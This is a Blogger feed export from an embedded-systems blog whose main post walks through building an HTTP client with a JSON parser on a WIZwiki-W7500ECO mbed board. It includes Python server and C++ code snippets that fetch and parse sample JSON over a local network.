tag:blogger.com,1999:blog-1430790751043323742024-03-13T10:49:39.568-07:00embeddistEmbedded System, ARM mbed, Arduino, TCP/IP, SoC, Open Source HardwareAnonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.comBlogger194125tag:blogger.com,1999:blog-143079075104332374.post-27504193105353894572015-11-15T17:14:00.000-08:002015-11-15T17:14:36.087-08:00JSON Examples for Ardunio platform<div class="storify"><iframe src="//storify.com/RoyKim/json-for-arduino-platform/embed?border=false" width="100%" height="750" frameborder="no" allowtransparency="true"></iframe><script src="//storify.com/RoyKim/json-for-arduino-platform.js?border=false"></script><noscript>[<a href="//storify.com/RoyKim/json-for-arduino-platform" target="_blank">View the story "JSON for Arduino platform" on Storify</a>]</noscript></div>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-84052728861533106232015-10-29T05:24:00.000-07:002015-10-29T05:25:58.076-07:00[WIZwiki_W7500ECO] HTTPClient with JSON parser<div style="font-family: 'Lucida Grande', 'Segoe UI', 'Apple SD Gothic Neo', 'Malgun Gothic', 'Lucida Sans Unicode', Helvetica, Arial, sans-serif; font-size: 0.9em; overflow-x: hidden; overflow-y: auto; margin: 0px !important; padding: 5px 20px 26px !important; background-color: rgb(255, 255, 255);font-family: 'Hiragino Sans GB', 'Microsoft YaHei', STHeiti, SimSun, 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', 'Segoe UI', AppleSDGothicNeo-Medium, 'Malgun Gothic', Verdana, Tahoma, sans-serif; padding: 20px;padding: 20px; color: rgb(34, 34, 34); font-size: 15px; font-family: 'Roboto Condensed', Tauri, 'Hiragino Sans GB', 'Microsoft YaHei', STHeiti, SimSun, 'Lucida Grande', 'Lucida Sans Unicode', 'Lucida Sans', 'Segoe UI', AppleSDGothicNeo-Medium, 'Malgun Gothic', Verdana, Tahoma, sans-serif; line-height: 1.6; -webkit-font-smoothing: antialiased; background: rgb(255, 255, 255);"><h1 id="[wizwiki_w7500eco]-httpclient-with-json-parser" style="clear: both;font-size: 2.2em; font-weight: bold; margin: 1.5em 0px 1em;margin-top: 0px;"><a name="[wizwiki_w7500eco]-httpclient-with-json-parser" href="#[wizwiki_w7500eco]-httpclient-with-json-parser" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>[WIZwiki_W7500ECO] HTTPClient with JSON parser</h1><p style="margin-top: 0px;margin: 1em 0px; word-wrap: break-word;">JSON is easy for machines to parse and generate which is based on a subset of the JavaScript Programming Language. Currently many Web Services allow to access data in JSON format. However, JSON parser is too big for low-end device as like a ARMmbed platform which has limited-resource. This post shows how to use HTTPClient parse Json data in ARMmbed platform.<br style="clear: both;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/21948839603/in/datetaken/" title="IMG_20151029_165139" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/773/21948839603_0d8306cc39_n.jpg" width="265" height="320" alt="IMG_20151029_165139" style="max-width: 100%;"></a></p><h2 id="preparation-materials" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230);"><a name="preparation-materials" href="#preparation-materials" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Preparation materials</h2><ol style="list-style-type: decimal;">
<li style="display: list-item; line-height: 1.4em;">Software<ul>
<li style="display: list-item; line-height: 1.4em;">JSON Parser: <a href="http://mbed.org/users/samux/code/MbedJSONValue/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">MbedJSONValue libs</a></li><li style="display: list-item; line-height: 1.4em;">Ethernet Networking : <a href="https://developer.mbed.org/teams/WIZnet/code/WIZnetInterface/" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">WIZnetInterface</a></li><li style="display: list-item; line-height: 1.4em;">HTTP Server with JSON : <a href="https://bitbucket.org/fraka6/mlboost/src/ce9e76218daa7bec96d61b98c9a9e90b10440b7c/mlboost/examples/server.py" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">Fraka6 Blog - No Free Lunch: The simplest python server example ;)</a></li></ul>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Hardware</p>
<ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">WIZwiki-W7500ECONET: WIZwiki-W7500 + ECO Shield Ethernet<br style="clear: both;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/22570039655/in/dateposted-public/" title="IMG_20151029_164448" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm6.staticflickr.com/5788/22570039655_dd7e08b859_n.jpg" width="320" height="262" alt="IMG_20151029_164448" style="max-width: 100%;"></a></p>
<ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">ARMmbed Board: <a href="http://wizwiki.net/wiki/doku.php?id=products:wizwiki-w7500eco:start" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">WIZwiki-W7500ECO</a><br style="clear: both;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/22556470552/in/datetaken/" title="wizwiki-w7500eco_simplepinout" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/581/22556470552_bcb48984ec_n.jpg" width="320" height="283" alt="wizwiki-w7500eco_simplepinout" style="max-width: 100%;"></a></p>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Ethernet Shield: <a href="http://wizwiki.net/wiki/doku.php?id=products:wizwiki-w7500eco:eco-shield#eco_shield_ethernet" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">ECO Shield Ethernet</a><br style="clear: both;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/21947481954/in/dateposted-public/" title="wizwiki-w7500eco_shield_pinout" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/578/21947481954_e8193f30cb_n.jpg" width="265" height="320" alt="wizwiki-w7500eco_shield_pinout" style="max-width: 100%;"></a></p>
</li></ul>
</li></ul>
</li></ol><h2 id="simplest-python-json-server-on-pc" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230);"><a name="simplest-python-json-server-on-pc" href="#simplest-python-json-server-on-pc" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Simplest python JSON server on PC</h2><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;"><a href="http://fraka6.blogspot.kr/2013/05/the-simple-python-server-example.html" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">Reference : fraka6.blogsopot.kr: The simplest python server example</a></p>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Modify Server IP address & port on ron_handler</p>
<pre class="python hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: black; background: white;"><code class="python" data-origin="<pre><code class="python">def run(port=8000): #set port
print('http server is starting...')
#ip and port of server
#server_address = ('127.0.0.1', port)
server_address = ('192.168.0.223', port)#set port
httpd = HTTPServer(server_address, Handler)
print('http server is running...listening on port %s' %port)
httpd.serve_forever()
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"><span class="hljs-function"><span class="hljs-keyword" style="color: rgb(0, 0, 136);">def</span> <span class="hljs-title">run</span><span class="hljs-params" style="color: rgb(102, 0, 102);">(port=<span class="hljs-number" style="color: rgb(0, 102, 102);">8000</span>)</span>:</span> <span class="hljs-comment" style="color: rgb(136, 0, 0);">#set port</span>
print(<span class="hljs-string" style="color: rgb(0, 136, 0);">'http server is starting...'</span>)
<span class="hljs-comment" style="color: rgb(136, 0, 0);">#ip and port of server</span>
<span class="hljs-comment" style="color: rgb(136, 0, 0);">#server_address = ('127.0.0.1', port)</span>
server_address = (<span class="hljs-string" style="color: rgb(0, 136, 0);">'192.168.0.223'</span>, port)<span class="hljs-comment" style="color: rgb(136, 0, 0);">#set port</span>
httpd = HTTPServer(server_address, Handler)
print(<span class="hljs-string" style="color: rgb(0, 136, 0);">'http server is running...listening on port %s'</span> %port)
httpd.serve_forever()
</code></pre>
</li></ul><ul>
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Modify JSON form in do_GET handler</p>
<pre class="python hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: black; background: white;"><code class="python" data-origin="<pre><code class="python">#handle GET command
def do_GET(self):
if format == 'html':
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.send_header('Content-type','text-html')
self.end_headers()
self.wfile.write("body")
elif format == 'json':
#self.request.sendall(json.dumps({'path':self.path}))
#self.request.sendall(json.dumps({'pi':3.14}))
self.request.sendall(json.dumps({'name':'John snow', 'age': 30, 'gender':'male'}))
else:
self.request.sendall("%s\t%s" %('path', self.path))
return
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"><span class="hljs-comment" style="color: rgb(136, 0, 0);">#handle GET command</span>
<span class="hljs-function"><span class="hljs-keyword" style="color: rgb(0, 0, 136);">def</span> <span class="hljs-title">do_GET</span><span class="hljs-params" style="color: rgb(102, 0, 102);">(self)</span>:</span>
<span class="hljs-keyword" style="color: rgb(0, 0, 136);">if</span> format == <span class="hljs-string" style="color: rgb(0, 136, 0);">'html'</span>:
self.send_response(<span class="hljs-number" style="color: rgb(0, 102, 102);">200</span>)
self.send_header(<span class="hljs-string" style="color: rgb(0, 136, 0);">"Content-type"</span>, <span class="hljs-string" style="color: rgb(0, 136, 0);">"text/plain"</span>)
self.send_header(<span class="hljs-string" style="color: rgb(0, 136, 0);">'Content-type'</span>,<span class="hljs-string" style="color: rgb(0, 136, 0);">'text-html'</span>)
self.end_headers()
self.wfile.write(<span class="hljs-string" style="color: rgb(0, 136, 0);">"body"</span>)
<span class="hljs-keyword" style="color: rgb(0, 0, 136);">elif</span> format == <span class="hljs-string" style="color: rgb(0, 136, 0);">'json'</span>:
<span class="hljs-comment" style="color: rgb(136, 0, 0);">#self.request.sendall(json.dumps({'path':self.path}))</span>
<span class="hljs-comment" style="color: rgb(136, 0, 0);">#self.request.sendall(json.dumps({'pi':3.14}))</span>
self.request.sendall(json.dumps({<span class="hljs-string" style="color: rgb(0, 136, 0);">'name'</span>:<span class="hljs-string" style="color: rgb(0, 136, 0);">'John snow'</span>, <span class="hljs-string" style="color: rgb(0, 136, 0);">'age'</span>: <span class="hljs-number" style="color: rgb(0, 102, 102);">30</span>, <span class="hljs-string" style="color: rgb(0, 136, 0);">'gender'</span>:<span class="hljs-string" style="color: rgb(0, 136, 0);">'male'</span>}))
<span class="hljs-keyword" style="color: rgb(0, 0, 136);">else</span>:
self.request.sendall(<span class="hljs-string" style="color: rgb(0, 136, 0);">"%s\t%s"</span> %(<span class="hljs-string" style="color: rgb(0, 136, 0);">'path'</span>, self.path))
<span class="hljs-keyword" style="color: rgb(0, 0, 136);">return</span>
</code></pre>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Excute json_server<br style="clear: both;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/22570506275/in/dateposted-public/" title="2015-10-29_16-26-33" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm6.staticflickr.com/5832/22570506275_5aaffdfe91_b.jpg" width="659" height="110" alt="2015-10-29_16-26-33" style="max-width: 100%;"></a></p>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Test by using curl</p>
<pre style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;"><code data-origin="<pre><code> $&gt;curl ip_address:port_number
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"> $>curl ip_address:port_number
</code></pre><p style="margin: 1em 0px; word-wrap: break-word;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/22557012682/in/dateposted-public/" title="2015-10-29_16-26-00" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm1.staticflickr.com/690/22557012682_d434b65e5f_z.jpg" width="639" height="216" alt="2015-10-29_16-26-00" style="max-width: 100%;"></a></p>
</li></ul><h2 id="make-main.cc" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230);"><a name="make-main.cc" href="#make-main.cc" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Make main.cc</h2><ul>
<li style="display: list-item; line-height: 1.4em;">Source Code@<a href="https://developer.mbed.org/users/embeddist/code/Simple_HTTPClient_JSON/wiki/Homepage" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a><a href="https://developer.mbed.org/users/embeddist/code/Simple_HTTPClient_JSON/wiki/Homepage" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);">https://developer.mbed.org/users/embeddist/code/Simple_HTTPClient_JSON/wiki/Homepage</a></li></ul><ol style="list-style-type: decimal;">
<li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Network Configration for WIZwiki-W7500ECO</p>
<pre class="cpp hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: black; background: white;"><code class="cpp" data-origin="<pre><code class="cpp"> // Enter a MAC address for your controller below.
uint8_t mac_addr[6] = {0x00, 0x08, 0xDC, 0x00, 0x01, 0x02};
printf("initializing Ethernet\r\n");
// initializing MAC address
eth.init(mac_addr, "192.168.0.34", "255.255.255.0", "192.168.0.1");
// Check Ethenret Link
if(eth.link() == true) printf("- Ethernet PHY Link-Done \r\n");
else printf("- Ethernet PHY Link- Fail\r\n");
// Start Ethernet connecting: Trying to get an IP address using DHCP
if (eth.connect()&lt;0) printf("Fail - Ethernet Connecing");
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"> <span class="hljs-comment" style="color: rgb(136, 0, 0);">// Enter a MAC address for your controller below.</span>
<span class="hljs-keyword" style="color: rgb(0, 0, 136);">uint8_t</span> mac_addr[<span class="hljs-number" style="color: rgb(0, 102, 102);">6</span>] = {<span class="hljs-number" style="color: rgb(0, 102, 102);">0x00</span>, <span class="hljs-number" style="color: rgb(0, 102, 102);">0x08</span>, <span class="hljs-number" style="color: rgb(0, 102, 102);">0xDC</span>, <span class="hljs-number" style="color: rgb(0, 102, 102);">0x00</span>, <span class="hljs-number" style="color: rgb(0, 102, 102);">0x01</span>, <span class="hljs-number" style="color: rgb(0, 102, 102);">0x02</span>};
<span class="hljs-built_in" style="color: rgb(102, 0, 102);">printf</span>(<span class="hljs-string" style="color: rgb(0, 136, 0);">"initializing Ethernet\r\n"</span>);
<span class="hljs-comment" style="color: rgb(136, 0, 0);">// initializing MAC address</span>
eth.init(mac_addr, <span class="hljs-string" style="color: rgb(0, 136, 0);">"192.168.0.34"</span>, <span class="hljs-string" style="color: rgb(0, 136, 0);">"255.255.255.0"</span>, <span class="hljs-string" style="color: rgb(0, 136, 0);">"192.168.0.1"</span>);
<span class="hljs-comment" style="color: rgb(136, 0, 0);">// Check Ethenret Link</span>
<span class="hljs-keyword" style="color: rgb(0, 0, 136);">if</span>(eth.link() == <span class="hljs-keyword" style="color: rgb(0, 0, 136);">true</span>) <span class="hljs-built_in" style="color: rgb(102, 0, 102);">printf</span>(<span class="hljs-string" style="color: rgb(0, 136, 0);">"- Ethernet PHY Link-Done \r\n"</span>);
<span class="hljs-function"><span class="hljs-keyword" style="color: rgb(0, 0, 136);">else</span> <span class="hljs-title">printf</span><span class="hljs-params" style="color: rgb(102, 0, 102);">("- Ethernet PHY Link- Fail\r\n")</span></span>;
<span class="hljs-comment" style="color: rgb(136, 0, 0);">// Start Ethernet connecting: Trying to get an IP address using DHCP</span>
<span class="hljs-keyword" style="color: rgb(0, 0, 136);">if</span> (eth.connect()<<span class="hljs-number" style="color: rgb(0, 102, 102);">0</span>) <span class="hljs-built_in" style="color: rgb(102, 0, 102);">printf</span>(<span class="hljs-string" style="color: rgb(0, 136, 0);">"Fail - Ethernet Connecing"</span>);
</code></pre>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">TCP connect to simple python JSON server</p>
<pre class="cpp hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: black; background: white;"><code class="cpp" data-origin="<pre><code class="cpp"> sock.connect("192.168.0.223", 8000); // "destination IP address", destination port number
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"> sock.connect(<span class="hljs-string" style="color: rgb(0, 136, 0);">"192.168.0.223"</span>, <span class="hljs-number" style="color: rgb(0, 102, 102);">8000</span>); <span class="hljs-comment" style="color: rgb(136, 0, 0);">// "destination IP address", destination port number</span>
</code></pre>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">Make Get form in HTTP format</p>
<pre class="cpp hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: black; background: white;"><code class="cpp" data-origin="<pre><code class="cpp"> snprintf(http_tx_msg, http_tx_msg_sz, "GET / HTTP/1.1\r\nHost: 192.168.0.223:8000\r\nUser-Agent: WIZwiki-W7500ECO\r\nConection: close\r\n\r\n");
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"> <span class="hljs-built_in" style="color: rgb(102, 0, 102);">snprintf</span>(http_tx_msg, http_tx_msg_sz, <span class="hljs-string" style="color: rgb(0, 136, 0);">"GET / HTTP/1.1\r\nHost: 192.168.0.223:8000\r\nUser-Agent: WIZwiki-W7500ECO\r\nConection: close\r\n\r\n"</span>);
</code></pre>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">TCP Send Get form</p>
<pre class="cpp hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: black; background: white;"><code class="cpp" data-origin="<pre><code class="cpp"> sock.send_all(http_tx_msg, http_tx_msg_sz-1); // tx_buf, tx_buf_size
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"> sock.send_all(http_tx_msg, http_tx_msg_sz-<span class="hljs-number" style="color: rgb(0, 102, 102);">1</span>); <span class="hljs-comment" style="color: rgb(136, 0, 0);">// tx_buf, tx_buf_size</span>
</code></pre>
</li><li style="display: list-item; line-height: 1.4em;"><p style="margin: 1em 0px; word-wrap: break-word;">TCP Recv data in JSON format</p>
<pre class="cpp hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: black; background: white;"><code class="cpp" data-origin="<pre><code class="cpp"> while ( (returnCode = sock.receive(http_rx_msg, http_rx_msg_sz-1)) &gt; 0) {
http_rx_msg[returnCode] = '\0';
printf("Received %d chars from server:\n\r%s\n", returnCode, http_rx_msg);
}
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"> <span class="hljs-keyword" style="color: rgb(0, 0, 136);">while</span> ( (returnCode = sock.receive(http_rx_msg, http_rx_msg_sz-<span class="hljs-number" style="color: rgb(0, 102, 102);">1</span>)) > <span class="hljs-number" style="color: rgb(0, 102, 102);">0</span>) {
http_rx_msg[returnCode] = <span class="hljs-string" style="color: rgb(0, 136, 0);">'\0'</span>;
<span class="hljs-built_in" style="color: rgb(102, 0, 102);">printf</span>(<span class="hljs-string" style="color: rgb(0, 136, 0);">"Received %d chars from server:\n\r%s\n"</span>, returnCode, http_rx_msg);
}
</code></pre>
</li><li style="display: list-item; line-height: 1.4em;">Do JSON parse<pre class="cpp hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: black; background: white;"><code class="cpp" data-origin="<pre><code class="cpp"> parse(parser, http_rx_msg);
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"> parse(parser, http_rx_msg);
</code></pre>
</li><li style="display: list-item; line-height: 1.4em;">Output the parsed data<pre class="cpp hljs" style="border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); overflow: auto; padding: 0.5em;display: block; overflow-x: auto; padding: 0.5em; color: black; background: white;"><code class="cpp" data-origin="<pre><code class="cpp"> // parsing "string" in string type
printf("name =%s\r\n" , parser["name"].get&lt;string&gt;().c_str());
// parsing "age" in integer type
printf("age =%d\r\n" , parser["age"].get&lt;int&gt;());
// parsing "gender" in string type
printf("gender =%s\r\n" , parser["gender"].get&lt;string&gt;().c_str());
</code></pre>" style="border: 0px; display: block;font-family: Consolas, Inconsolata, Courier, monospace; font-weight: bold; white-space: pre; margin: 0px;border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: break-word; border: 1px solid rgb(204, 204, 204); padding: 0px 5px; margin: 0px 2px;font-size: 1em; letter-spacing: -1px; font-weight: bold;"> <span class="hljs-comment" style="color: rgb(136, 0, 0);">// parsing "string" in string type</span>
<span class="hljs-built_in" style="color: rgb(102, 0, 102);">printf</span>(<span class="hljs-string" style="color: rgb(0, 136, 0);">"name =%s\r\n"</span> , parser[<span class="hljs-string" style="color: rgb(0, 136, 0);">"name"</span>].get<<span class="hljs-built_in" style="color: rgb(102, 0, 102);">string</span>>().c_str());
<span class="hljs-comment" style="color: rgb(136, 0, 0);">// parsing "age" in integer type</span>
<span class="hljs-built_in" style="color: rgb(102, 0, 102);">printf</span>(<span class="hljs-string" style="color: rgb(0, 136, 0);">"age =%d\r\n"</span> , parser[<span class="hljs-string" style="color: rgb(0, 136, 0);">"age"</span>].get<<span class="hljs-keyword" style="color: rgb(0, 0, 136);">int</span>>());
<span class="hljs-comment" style="color: rgb(136, 0, 0);">// parsing "gender" in string type</span>
<span class="hljs-built_in" style="color: rgb(102, 0, 102);">printf</span>(<span class="hljs-string" style="color: rgb(0, 136, 0);">"gender =%s\r\n"</span> , parser[<span class="hljs-string" style="color: rgb(0, 136, 0);">"gender"</span>].get<<span class="hljs-built_in" style="color: rgb(102, 0, 102);">string</span>>().c_str());
</code></pre>
</li></ol><h2 id="demo.-httpclient-with-json-parser" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230);"><a name="demo.-httpclient-with-json-parser" href="#demo.-httpclient-with-json-parser" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Demo. HTTPClient with JSON parser</h2><ol style="list-style-type: decimal;">
<li style="display: list-item; line-height: 1.4em;">Network config.</li><li style="display: list-item; line-height: 1.4em;">Confirm Received JSON data</li><li style="display: list-item; line-height: 1.4em;">Print-out the pasing data<br style="clear: both;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/22557404802/in/dateposted-public/" title="2015-10-29_16-42-55" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm6.staticflickr.com/5787/22557404802_8bfb5be6a2_c.jpg" width="800" height="498" alt="2015-10-29_16-42-55" style="max-width: 100%;"></a></li></ol><h2 id="packet-capture" style="clear: both;font-size: 1.8em; font-weight: bold; margin: 1.275em 0px 0.85em;border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: rgb(230, 230, 230);"><a name="packet-capture" href="#packet-capture" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"></a>Packet Capture</h2><ol style="list-style-type: decimal;">
<li style="display: list-item; line-height: 1.4em;">TCP-Connection</li><li style="display: list-item; line-height: 1.4em;">Target board sends GET Form to simple python JSON server</li><li style="display: list-item; line-height: 1.4em;">simple python JSON server sends JSON data to Target board<br style="clear: both;"><a data-flickr-embed="true" href="https://www.flickr.com/photos/129289794@N06/22545387906/in/dateposted-public/" title="2015-10-29_16-22-56" style="text-decoration: none; vertical-align: baseline;color: rgb(50, 105, 160);"><img src="https://farm6.staticflickr.com/5786/22545387906_f80e69cab6_b.jpg" width="961" height="821" alt="2015-10-29_16-22-56" style="max-width: 100%;"></a></li></ol></div>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-41753241607532046742015-10-28T22:49:00.001-07:002015-10-28T22:57:23.326-07:00Fraka6 Blog - No Free Lunch: The simplest python server example ;)<a href="http://fraka6.blogspot.kr/2013/05/the-simple-python-server-example.html">Fraka6 Blog - No Free Lunch: The simplest python server example ;)</a><br /><br />
<br /><br />
